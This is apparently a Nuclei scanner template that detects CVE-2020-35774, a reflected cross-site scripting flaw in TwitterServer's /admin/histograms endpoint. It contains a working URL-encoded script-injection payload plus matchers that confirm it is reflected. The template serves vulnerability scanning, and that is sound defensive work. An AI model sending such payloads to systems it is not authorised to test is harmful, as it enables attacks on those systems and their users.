id: CVE-2020-35774

info:
  name: Twitter Server XSS
  author: pikpikcu
  severity: medium
  description: |
    server/handler/HistogramQueryHandler.scala in Twitter TwitterServer (aka twitter-server) before 20.12.0, in some configurations, allows XSS via the /histograms endpoint.
  reference: https://nvd.nist.gov/vuln/detail/CVE-2020-35774
  tags: cve,cve2020,xss,twitter-server
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2020-35774
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html